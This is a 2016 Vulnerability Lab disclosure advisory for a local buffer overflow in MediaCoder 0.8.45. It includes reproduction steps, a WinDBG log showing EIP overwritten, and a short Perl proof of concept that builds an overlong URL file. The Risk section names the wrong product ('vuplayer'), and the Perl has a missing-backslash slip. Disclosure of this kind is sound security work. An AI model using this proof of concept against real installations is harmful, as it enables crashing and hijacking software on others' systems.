Document Title:
===============
MediaCoder 0.8.45 - Buffer Overflow Vulnerability


Date:
=====
2016-07-27


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1883


VL-ID:
=====
1883


Common Vulnerability Scoring System:
====================================
6


Introduction:
=============
MediaCoder is a universal media transcoding software actively developed and maintained since 2005. It puts together most 
cutting-edge audio/video technologies into an out-of-box transcoding solution with a rich set of adjustable parameters 
which let you take full control of your transcoding.

(Copy of the Vendor Homepage: http://www.mediacoderhq.com/ )



Abstract:
=========
An independent vulnerability laboratory researcher discovered a local buffer overflow in the official MediaCoder v0.8.45 software client.


Report-Timeline:
================
2016-07-28:	Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Mediacoder HQ
Product: Media Coder - Software Client v0.8.45


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A buffer overflow vulnerability has been discovered in the official MediaCoder v0.8.45 software.
The vulnerability allows local attackers to overwrite the registers to compromise the local software process.

The classic buffer overflow vulnerability is located in the software MediaCoder. An attacker can manipulate the 
bit EIP register in order to execute the next instruction of their choice. Attackers are able to for example 
execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite 
the EIP register of the process. Finally the attacker is able to takeover the process by an overwrite of the 
active program process to compromise the computer system.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 6.0. Exploitation of the vulnerability requires a low privilege or restricted system 
user account without user interaction. Successful exploitation of the vulnerability results in computer system 
manipulation and compromise of the computer system.


Proof of Concept:
=================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Launch MediaCoder.exe                
2. Run the code in perl and a file format (.txt) will create
3. Click File - Add URL
4. open the file (.txt) and copy paste characters http://AAAAAAA ....
5. Made a double click on the link
6. Software will crash with Access violation
7. Successful reproduce of the local buffer overflow vulnerability!

--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005 (!!! second chance !!!)
eax=00547c38 ebx=01e2bb48 ecx=91543bdb edx=80000000 esi=002b07c6 edi=00547c38
eip=41414141 esp=0014f464 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

Note: EIP & EBP  overwritten


PoC : Exploit Perl 
#!/usr/bin/perl
my $header = "http://";
my $Buff = "x41" x 2000;
open(MYFILE,'>>File.txt');
print MYFILE $header.$Buff;
close(MYFILE);
print " POC Created by ZwXn";


Risk:
=====
The security risk of the local buffer overflow vulnerability in the vuplayer software core is estimated as high. (CVSS 6.0)


Credits:
========
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


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===========
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